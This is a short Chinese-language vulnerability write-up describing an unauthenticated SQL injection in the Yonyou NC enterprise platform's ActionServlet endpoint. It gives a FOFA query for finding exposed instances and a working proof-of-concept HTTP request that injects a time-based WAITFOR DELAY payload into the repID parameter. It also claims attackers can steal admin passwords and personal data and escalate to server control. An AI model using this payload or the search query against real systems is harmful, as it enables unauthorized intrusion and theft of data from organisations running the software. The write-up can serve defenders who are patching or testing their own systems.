0x01 产品简介
用友 NC 是用友网络科技股份有限公司开发的一款大型企业数字化平台。
0x02 漏洞概述
用友NC /service/~iufo/com.ufida.web.action.ActionServlet 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。
0x03 复现环境
FOFA：app="用友-UFIDA-NC"
0x04 漏洞复现
PoC
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.FormulaViewAction&method=execute&repID=1')%20WAITFOR%20DELAY%20'0:0:5'--+&unitID=public HTTP/1.1
Host: you